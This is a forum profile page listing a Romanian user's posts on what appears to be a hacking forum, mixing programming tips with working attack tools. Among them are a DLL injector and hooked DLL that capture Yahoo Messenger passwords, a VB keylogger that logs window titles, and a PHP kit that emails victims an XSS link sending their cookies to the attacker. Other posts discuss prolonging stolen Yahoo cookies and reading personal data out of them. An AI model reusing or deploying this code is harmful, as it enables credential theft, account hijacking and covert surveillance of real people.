Jump to content

vladiii

Active Members
  • Posts

    552
  • Joined

  • Last visited

Everything posted by vladiii

  1. Am incercat de foarte multe ori sa scriu coduri ASM in Dev-C++. De fiecare data obtineam mult prea multe erori, asa ca am lasat balta toata chestia. Ulterior, am aflat ca in Dev-C++ (sau gcc) codurile ASM au o altfel de sintaxa fata de codurile ASM obisnuite. Si anume, sintaxa AT&T. Nu am reusit [nici nu m-am chinuit] sa o invat. Un mic articol despre aceasta sintaxa gasiti aici: http://sig9.com/articles/att-syntax. Azi, navigand pe forumul rohitab (rohitab.com) am descoperit o alternativa la aceasta sintaxa. Noi cand programam ceva in Assembler folosim defapt sintaxa Intel. Va voi arata exact codul ASM al lui Napalm de pe Rohitab: #include <stdio.h> int a; int main(void) { a = 10; printf("Inainte: a = %d\n", a); //Urmeaza cod cu sintaxa intel asm(".intel_syntax noprefix"); //Mutam in eax valoarea variabilei a. De observat underline'ul din fata ei. asm("mov eax, _a"); //Mutam in ecx valoarea 3 asm("mov ecx, 3"); //Multiplicam eax cu ecx (10 cu 3) asm("mul ecx"); //Rezultatul stocat in eax il atribuim variabilei a asm("mov _a, eax"); asm(".att_syntax noprefix"); //Afisam printf("Dupa: a = %d", a); return 0; } Smecher, nu ? P.S. Astept completari si de la voi, ca subiectul este foooarte interesant.
  2. [url]http://vladiii.phpnet.us/vuln.php[/url] Incercati sa injectati JavaScript in pagina, sa afisati un alert sau mai stiu eu ce. Astept aici printscreenurile, iar metoda pe privat. P.S. Fara FireBug sau alte tooluri asemanatoare Bafta !
  3. Salut. In acest mic tutorial vom invata sa folosim programul Cheat Engine. Jocul pe care vom testa programul este PinBall. Mai intai sa downloadam Cheat Engine, urmarind urmatorul link: http://www.cheatengine.org/downloads.php ! Dupa ce l-am down- loadat si instalat, deschidem Pinball (Start -> All Programs -> Games -> Pinball) si jucam un pic pana cand scorul va deveni un numar mai mare si apoi “muriti” (lasati bila sa cada). Eu am facut scorul (pt. prima bila) 107250. Voi tine minte acest numar. Pornim Cheat Engine (nu stingeti Pinball !!!) si apasam pe butonul din coltul stanga sus: In casuta care va apare, selectati PINBALL.EXE ! In casuta de sub Value: introduceti scorul dumneavoastra, apoi dati click pe butonul pe care scrie First Scan. Dupa ce efectuati aceste operatii, in dreapta, in listbox’ul unde scrie Addreess si Value (din stanga) vor aparea 2 adrese. Dati dublu-click pe prima dintre ele. Ar trebui sa aveti ceva ca in imaginea urmatoare: Dati dublu click pe 107250 (din casuta de jos) si puneti valoarea dorita (spre exemplu: 99999999). Apoi dati dublu-click pe 4 Bytes (sub Type, tot in aceeasi casuta de jos) si selectati din acel Combo Box 8 bytes. Dati ok si reintrati in jocul PinBall. Jucati ce jucati pana se termina “vietile” si, la sfarsit, veti gasi un scor muuult mai mare decat ati fi facut in mod obisnuit. La mine: Aceasta metoda poate fi folosita pt. orice joc, eu am folosit pinball pt. a-mi simplifica munca. Cum functioneaza acest program ? Foarte simplu… modifica valorile unor adrese din interiorul programului, in timp ce acesta este pornit. Acum... Am reusit sa facem scor mare la pinball ! Insa am creat si eu un program care, odata accesat, seteaza scorul ! Cum face asta ? La fel ca Cheat Engine. NU UITATI ! Adresa care am folosit-o eu, probabil, va merge doar pt. mine si inca cateva calculatoare, de aceea nu uitati sa o retineti cand folositi Cheat Engine (in programul meu, modificati doar ce este dupa 0x). Codul este scris in C (compilator Dev-c++): #include <windows.h> #include <stdio.h> using namespace std; int main() { //Pinball: 1c7c22a0-9576-11ce-bf80-444553540000 HWND hand = FindWindow("1c7c22a0-9576-11ce-bf80-444553540000", 0); //Aceasta este adresa mea... Modificati cu adresa dumneavoastra, doar ce este dupa 0x DWORD adresa = 0x00A40C62; char val[] = "999999999"; DWORD pid; //Aflam IDul procesului GetWindowThreadProcessId(hand, &pid); HANDLE hProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, pid); //Scriem valoarea la adresa respectiva WriteProcessMemory(hProcess, (LPVOID)adresa, (LPVOID)val, 9, 0); return 0; } Numai bine !
  4. A folosit un API windows, nu e mare smecherie ! Aa si pe viitor, va rog, nu mai postati orice nimic la aceasta sectiune !
  5. Dranaxum, contrazice-ma daca ma insel Ca sa faci hook la tastatura, nu e nevoie de driver, se poate face direct din UserMode. Sunt niste APIuri windows, SetWindowsHook, CallNextHookEx (bineinteles, cu anumiti parametrii speciali pt. tastatura). Daca vroiai sa faci chestia asta in ASM, se foloseau niste interrupturi (de DOS sau BIOS, nu mai stiu exact) care mergeau decat din kernel mode (deci, evident, era nevoie de driver).
  6. dap, se prelungeste cookie-ul la nesfarsit. ai vazut ca la yahoo un cookie tine maxim 2 saptamani. deci daca ai obtinut un cookie in cel mai bun caz te tine 2 saptamani. dupa care moare trist si se dezintegreaza. daca vrei sa-ti tii cookie-urile vii si fericite trebuie sa le ajuti cumva. acest lucru se poate face, dar metoda este foarte privata. incearca sa folosesti un cookie mai vechi de 2 saptamani, sa vezi ca este mort. daca tu spui ca obtii un cookie nou in fiecare zi asta inseamna ca renunti la multe-multe cookie-uri. ai putea sa le pastrezi pe toate si ori sa strangi mai multe zilnic, ori sa nu mai fie nevoie sa strangi cookie-uri. Daca folositi metoda lui SlicK, viata cookieului va fi prelungita doar pana la maxim 2 saptamani. Nicidecum la nesfarsit. Plus de asta, e musai sa-l "updatezi" in fiecare zi. Daca iei un cookie expirat de acum 1 saptamana, nu mai il poti "reinnoi". Cheers !
  7. Am facut un mic programel care injecteaza un DLL in Yahoo Messenger. Practic, eu interceptez mesajele trimise de windows catre butonul Sign In... Cand primesc un mesaj WM_COMMAND (cu BN_CLICKED) atunci preiau parola din fieldul Password si o afisez intr-un messagebox. Injecterul este facut in VB, iar DLLul in C [asta pt. ca VB sux si nu am reusit sa scriu un DLL care sa execute ceva cand il injectez in procesul YahooMessenger]. Am sa prezint aici codurile sursa. [injecterul in VB este ca orice alt DLL injecter si nu are nimic deosebit... Ideea e ca pe net eu nu am gasit DLL injecter scris in VB, asa ca l-am scris eu (evident, cu ajutor de la injecterele scrise in alte limbaje de programare)]. In acest injecter am lasat si anumite MsgBox'uri care afiseaza valoarea handleurilor. Daca vreun handle este 0, atunci mai dati o data inject (este posibil sa nu injecteze DLL'ul din prima incercare). Pe langa asta e posibil ca AV'ul sa va atentioneze, dar nu-i nicio problema, dezactivati Proactive Defense (la Kasperky...). Sa vedem codul de la injecter (in modul): Public Declare Function VirtualAllocEx Lib "kernel32" (ByVal hProcess As Long, ByVal lpAddress As Long, ByVal dwSize As Long, ByVal flAllocationType As Long, ByVal flProtect As Long) As Long Public Declare Function CreateRemoteThread Lib "kernel32" (ByVal hProcess As Long, lpThreadAttributes As Any, ByVal dwStackSize As Long, lpStartAddress As Long, lpParameter As Any, ByVal dwCreationFlags As Long, lpThreadId As Long) As Long Public Declare Function FindWindow Lib "user32" Alias "FindWindowA" (ByVal lpClassName As String, ByVal lpWindowName As String) As Long Public Declare Function GetWindowThreadProcessId Lib "user32" (ByVal hwnd As Long, lpdwProcessId As Long) As Long Public Declare Function OpenProcess Lib "kernel32" (ByVal dwDesiredAccess As Long, ByVal bInheritHandle As Long, ByVal dwProcessId As Long) As Long Public Declare Function WriteProcessMemory Lib "kernel32" (ByVal hProcess As Long, lpBaseAddress As Any, lpBuffer As Any, ByVal nSize As Long, lpNumberOfBytesWritten As Long) As Long Public Declare Function GetModuleHandle Lib "kernel32" Alias "GetModuleHandleA" (ByVal lpModuleName As String) As Long Public Declare Function GetProcAddress Lib "kernel32" (ByVal hModule As Long, ByVal lpProcName As String) As Long Public Declare Function WaitForSingleObject Lib "kernel32" (ByVal hHandle As Long, ByVal dwMilliseconds As Long) As Long Public Declare Function CloseHandle Lib "kernel32" (ByVal hObject As Long) As Long Public Declare Function IsWindow Lib "user32" (ByVal hwnd As Long) As Long Public Const PAGE_READWRITE As Long = &H4 Public Const MEM_COMMIT As Long = &H1000 Public Const STANDARD_RIGHTS_REQUIRED As Long = &HF0000 Public Const SYNCHRONIZE As Long = &H100000 Public Const PROCESS_ALL_ACCESS As Long = (STANDARD_RIGHTS_REQUIRED Or SYNCHRONIZE Or &HFFF) Public Const INFINITE As Long = &HFFFFFF Public Sub injectdll(ByVal procid As Long, ByVal inject As String) Dim hProcess As Long Dim lpRemoteAddress As Long Dim inj As Long Dim k32 As Long Dim dwtid As Long Dim asd As Long hProcess = OpenProcess(PROCESS_ALL_ACCESS, False, procid) If (hProcess = 0) Then MsgBox "A aparut o eroare!" End If asd = GetModuleHandle("kernel32.dll") k32 = GetProcAddress(asd, "LoadLibraryA") lpRemoteAddress = VirtualAllocEx(hProcess, 0, Len(inject), MEM_COMMIT, PAGE_READWRITE) MsgBox lpRemoteAddress inj = WriteProcessMemory(hProcess, ByVal lpRemoteAddress, ByVal inject, LenB(inject), dwBytesWritten) MsgBox inj If (inj <> 0) Then hRemoteThread = CreateRemoteThread(hProcess, 0, 0, ByVal k32, ByVal lpRemoteAddress, 0, dwtid) MsgBox hRemoteThread End If WaitForSingleObject hRemoteThread, INFINITE CloseHandle hProcess CloseHandle hRemoteThread End Sub Si pe un buton din interiorul formului: Private Sub Command1_Click() Dim pid As Long Dim handle As Long handle = FindWindow("YahooBuddyMain", vbNullString) 'Gasim PIDul procesului Call GetWindowThreadProcessId(handle, pid) 'Apelam functia care injecteaza DLLul Call injectdll(pid, "C:\Project1.dll") End Sub Si acum DLL'ul scris in C si compilat in Dev-C++ [evident, este un proiect de tip DLL]. Eu am scris codul in dllmain.c, iar Dev mi-a creat un fisier, dll.h ! Sa vedem codul: /* Replace "dll.h" with the name of your header */ #include "dll.h" #include <windows.h> #include <stdio.h> #include <stdlib.h> DWORD WINAPI Main(); LRESULT CALLBACK NewWndProc(HWND,UINT,WPARAM,LPARAM); LONG OldWndProc; // procedura de fereastra YahooMessenger BOOL APIENTRY DllMain (HINSTANCE hInst /* Library instance handle. */ , DWORD reason /* Reason this function is being called. */ , LPVOID reserved /* Not used. */ ) { switch (reason) { case DLL_PROCESS_ATTACH: //Cream un nou thread in care o sa executam codul nostru CreateThread(NULL,0,(LPTHREAD_START_ROUTINE)&Main,NULL,0,NULL); case DLL_PROCESS_DETACH: break; case DLL_THREAD_ATTACH: break; case DLL_THREAD_DETACH: break; } /* Returns TRUE on success, FALSE on failure */ return TRUE; } DWORD WINAPI Main() { HWND hand1=FindWindow("YahooBuddyMain", NULL); HWND hand2=FindWindowEx(hand1, 0, "#32770", NULL); //Butonul Sign In este un copil al ferstrei cu handleul hand2 OldWndProc=SetWindowLong(hand2,GWL_WNDPROC,(long)NewWndProc); ExitThread(0); } LRESULT CALLBACK NewWndProc(HWND hWnd,UINT Message,WPARAM wParam,LPARAM lParam) { switch(Message) { case WM_COMMAND: { //Daca butonul Sign In este "apasat" atunci... if(HIWORD(wParam)==BN_CLICKED && LOWORD(wParam)==1) { LPARAM pass; long len; HWND hwnd=FindWindow("YahooBuddyMain",0); hwnd=FindWindowEx(hwnd, 0, "#32770", NULL); HWND hwnd2=FindWindowEx(hwnd, 0, "Edit", NULL); hwnd=FindWindowEx(hwnd, hwnd2, "Edit", NULL); len=SendMessage(hwnd, WM_GETTEXTLENGTH,0,0); len+=1; pass=(LPARAM)malloc(len); SendMessage(hwnd, WM_GETTEXT, len, pass); //Afisam MessageBox (0, (char*)pass, (char*)pass, 0); } } } // Trimitem mesajele unde trebuiau sa ajunga ele de fapt return CallWindowProc((WNDPROC)OldWndProc,hWnd,Message,wParam,lParam); } Cam atat. Sper ca va fi util cuiva/candva ! P.S. Multumiri lui SlicK pt. tot ajutorul acordat [you're the man].
  8. La multi ani RSSSSTTTTTTTTTTTT !!! Primul post pe anul 2008 de pe forum :twisted: ! Sa traim cu totii bine si sa avem (pentru unii) un an cel putin la fel de bun ca asta care trecu.
  9. De fapt, un OCX poate fi detectat de AV. Pentru ca foloseste formatul PE (la fel ca si executabilele, DLLurile si alte fisiere cu alte extensii [.scr, .sys]). Spre exemplu, un fisier cu extensia .dat nu o sa fie niciodata detectat de AV, pentru ca nu foloseste file formatul de mai sus.
  10. Oameni buni, sunt convins ca 80% din cei care ati postat aici sunteti mai praf decat ala care a aparut la OTV. Si nu o spun eu, ci posturile voastre pe forum ! Dati-l in spanac pe ala, fiecare face ce poate si cat poate. Pace si inchideti topicul asta !
  11. Pur si simplu pornesti Live HTTP Headers si te loghezi pe webmessenger.yahoo.com ! Se observa usor ca se face o cerere GET catre: http://img.msg.yahoo.com/avatar.php?yids=IDDEMESS&format=png&size=medium&nocache=1&r=46100. Nu e chiar asa de complicat, desi nici eu nu stiam la inceput. Pana la urma, am dedus singur. Sarbatori fericite !
  12. Use vbKeySnapshot (in VB) ! Bineinteles, asta ar fi primul parametru al functiei keybd_event din user32.dll. Nu uita sa nu lasi tasta apasata (pt. asta folosesti inca o data keybd_event, dar se modifica un parametru). Bafta !
  13. Bad idea. Poti "simula" apasarea tastei "PrintScreen", apoi copiezi imaginea din clipboard intr-un PictureBox. Daca vrei in VB, iti pot face maine (sau ma rog, azi), un mic cod.
  14. Felicitari tw8 Aceeasi chestie, numai ca in PHP: [url]http://de-ce.net/cd.php[/url] Si acum, explicarea. Cum se scot informatiile alea din cookieuri ? Sa consideram urmatorul cookie (doar Y): Y=v=1&n=x048gk1dlaevg&l=oc_lb03887/o&p=m2qvvro013000000&jb=16|47|&iz=0150&r=ge&lg=en-US&intl=us&np=1 &iz=0150 -> de aici este extras ZipCodeul &p=m2qvvro -> prima litera de aici semnifica genul. M=male, F=female. -> urmatoarele 2 litere semnifica anul nasterii. Este o chestie un pic mai complicata . -> ultimele 2 litere din &p=m2qvvro semnifica tara, mai exact RO (RO=Romania). Pt. Y'ul de mai sus, datele extrase sunt: Zipcode: 0150 Gen: Masculin Anul nasterii: 1990 Tara: ro Cam atat. Apropo, Craciun Fericit ! Sa aveti un an nou de 2 ori mai bun decat acesta.
  15. Asa, si ? Daca aveai o observatie utila/interesanta de facut postai, asa s-a mai umplut forumul de o balarie !
  16. Am vazut pe aici pe forum cativa oameni care au facut keyloggere, dar la nici unul nu am vazut implementata optiunea care arata si fereastra in care s-a scris textul respectiv. Asa ca am creat eu un mic cod [tot in VB6] care face exact acest lucru. Declararea functiilor API/unor variabile in modul: Public Declare Function GetForegroundWindow Lib "user32" () As Long Public Declare Function GetWindowText Lib "user32" Alias "GetWindowTextA" ( _ ByVal hWnd As Long, _ ByVal sWndTitle As String, _ ByVal cLen As Long) As Long Public Declare Function GetAsyncKeyState Lib "user32" (ByVal vKey As Long) As Integer Public hForegroundWnd As Long Public Title As String * 1000 Public x As Long Explicatie. APIul GetForegroundWindow preia handleul ferestrei foreground (cea mai de sus, daca pot spune asa, sau... ultima pe care ati dat click, sau ati accesat-o). Apoi, cu ajutorul lui GetWindowText, preiau numele ferestrei, folosind handleul obtinut anterior. A 3-a functie API (GetAsyncKeyState) va fi folosita pentru keylogger (care nu va fi prea avansat, dar il puteti imbunatati voi, eu vreau sa prezint doar conceptul). Acum sa trecem la codul de pe formular: Private Sub Command1_Click() Timer1.Enabled = True End Sub Private Sub Command2_Click() Timer1.Enabled = False End Sub Private Sub Form_Load() Timer1.Enabled = False End Sub Private Sub Timer1_Timer() 'Urmeaza codul care intercepteaza titlul ferestrei x = GetForegroundWindow() If (x = hForegroundWnd) Then GoTo label Else hForegroundWnd = GetForegroundWindow() Title = "" GetWindowText hForegroundWnd, Title, 5000 Text1.Text = Text1.Text & vbNewLine & Title End If Exit Sub label: 'Urmeaza keyloggerul For i = 1 To 255 res = 0 res = GetAsyncKeyState(i) If res = -32767 Then If (i = 32) Then Text1.Text = Text1.Text + " " Else If (i = 13) Then Text1.Text = Text1.Text + vbNewLine Else Text1.Text = Text1.Text + Chr(i) End If End If End If Next i End Sub Pe form trebuie sa adaugati un timer, cu numele Timer1, 2 butoane (Command1 si Command2) si un textbox (Text1). Intervalul timerului eu l-am setat la 50 milisecunde, insa il puteti pune la cat vreti voi. Enjoy ! (pentru nelamuri, postati aici)
  17. vladiii

    Trojan VB6

    De ce vrei sa deschizi/sa scrii in fisier binar ? Cand poti folosi foarte simplu Open "blabla" for Input as #1 si Open "blabla" for Output as #2. In fine, userul nostru, stapanul nostru. Private Sub Command1_Click() Dim x As Integer x = FreeFile Open "C:\a.txt" For Binary Access Read As #x Do While Not EOF(x) Input #x, yony Loop Close #x Open "C:\b.txt" For Binary Access Write As #2 Put #2, , yony Close #2 End Sub Succes !
  18. windows.h ! Ti-am explicat faza cateva posturi mai sus.
  19. Thnx. Cam asa o sa arate si RST Generic Webmails Cookie Stealer (versiunea finala), numai ca o sa aiba ceva mai multe optiuni si lista cu domeniile vulnerabile la xss implementata. Oricum, ideea de baza este cam aceeasi. Cheers :twisted:
  20. configurare.php : <html> <head> <title>Configurare</title> </head> <form method=post action="?"> Introdu adresa de e-mail a victimei: <input type="text" name="vemail" /> Introdu adresa ta de e-mail: <input type="text" name="temail" /> Introdu adresa "masca" de e-mail: <input type="text" name="memail" /> <input type="submit" value="Trimite" /> </form> <?php if(isset($_POST['vemail']) && isset($_POST['temail']) && isset($_POST['memail'])) { $vemail=$_POST['vemail']; $temail=$_POST['temail']; $memail=$_POST['memail']; $var1='<?php include "stealer.php";'; //Deschidem fisierul count.txt pentru crearea YahooX.php $fisier="count.txt"; $read1= file_get_contents('count.txt'); //Incrementam... $asd = $read1 + 1; $hand7=fopen($fisier, "w"); fwrite($hand7, $asd); fclose($hand7); //Am inchis. $yah = "yahoo".$read1.".php"; $var2 = 'mail(\''.$temail.'\',"New Cookie","$body"); ?>'; $hand2 = fopen($yah, "x"); fwrite($hand2, $var1); fwrite($hand2, $var2); fclose($hand2); $headers="From: ".$memail."\r\n"; $headers.= "Content-Type: text/plain\r\n"; $headers.= "MIME-Version: 1.0\r\n"; $headers.= "Content-Transfer-Encoding: 8bit\r\n"; $headers.= "X-Mailer: PHP\r\n"; $conti="Click pe urmatorul link: http://sitvuln.com/vuln.php?vulninput=\"><script>location.href=\"siteultau.com/".$yah."?c=\"+escape(document.cookie)</script>"; mail($vemail, "UGENTA!!!", $conti, $headers); } //Finished ?> stealer.php : <?php $body=""; $date=date("M-d/G:i"); $body.="Date: $date\r\n"; $ipad=$_SERVER["REMOTE_ADDR"]; $body.="Ip Address: $ipad\r\n"; if($_GET['C']) { $C=$_GET['C']; } else { $C=$_POST['C']; } $body.="Cookie: $C\r\n"; ?> count.txt : 1 Inlocuiti in configurare.php XSSul care il doriti (acest script poate fi utilizat nu numai pentru yahoo, ci pentru orice site vulnerabil la xss). Nu uitati sa puneti chmod 777 la directorul in care il uploadati si 777 pe count.txt. Explicarea codului: de fiecare data cand dati submit el creeaza pe server un YahooX.php, care, cand il acceseaza victima ii fura cookieul si va da voua mail cu el. La adresa voastra de email o bagati pe a voastra, la cea a victimei pe a victimei, iar la "masca", adresa de la care va primi victima e-mail cu siteu vulnerabil la xss. Sper sa stiti sa-l utilizati. Pentru buguri/sugestii/nelamuriri, postati aici. Numai bine si urati-mi succes la concursul de mate de sambata
  21. In string.h nu exista functia system(), ci in stdlib.h ! Practic, cu aceasta functie poti executa comenzi CMD (infinite posibilitati). Cat despre windows.h... Ai auzit de functiile api (care sunt "tinute" in DLLurile windows) ? Majoritatea le poti utiliza folosind windows.h ! In VB trebuie declarata fiecare functie in parte, in C++ nu. P.S. In codul tau ai folosit prea multe librarii, nu cred ca mai aveai nevoie de windows.h si process.h.
  22. vladiii

    concluzie

    BanKai, ai spus ca eu o sa primesc toate capacele Abia astept sa ne vedem la meeting. P.S. Cand am spus retragere, nu ma refeream la una definitiva, ma refeream ca o sa postez mai rar, din cauza timpului (scolii).
  23. vladiii

    Retragere

    In ultimul timp nu am mai postat pe RST cum o faceam inainte. Poate si din cauza timpului, dar si forumul a decazut. Nu am fost roman care doar am vorbit, consider ca am si facut lucruri bune pentru acest forum si am fost alaturi de el (si de userii lui) aproape un an si jumatate. La inceput am fost un fraier... ca orice om care nu are habar de ceea ce vorbeste. Puteti verifica acest lucru uitandu-va la posturile mele de la inceput. Pe parcurs, am evoluat destul de mult si nu mai sunt un n00b. Ma consider chiar bunicel (si nu este doar parerea mea). Am pus la dispozitia RST tot ce am avut mai bun. Am petrecut o perioada frumoasa si m-am imprietenit cu tot stafful RST si alti cativa membrii importanti. Insa, consider ca este timpul sa iau o pauza. Parca ma simt in plus. Matematica (nivel national/international) necesita foarte multa pregatire, iar calculatorul imi mananca din timp. Prefer sa imi vad interesele, macar pentru o perioada de timp. Va multumesc... si pentru stafful RST: ne vedem noi, stiti voi unde . La reverede !
  24. Multumesc foarte mult konkhra !
  25. As dori sa stiu si eu cum este preluat avatarul. Eu cu SlicK am sniffat o logare de Y!M, iar avatarul este tinut pe serverul Y! (nu mai tin minte linkul). Insa pt. a fi accesat din browser trebuia adaugat la url ?identificatorunic. Sunt curios cum faceti.
×
×
  • Create New...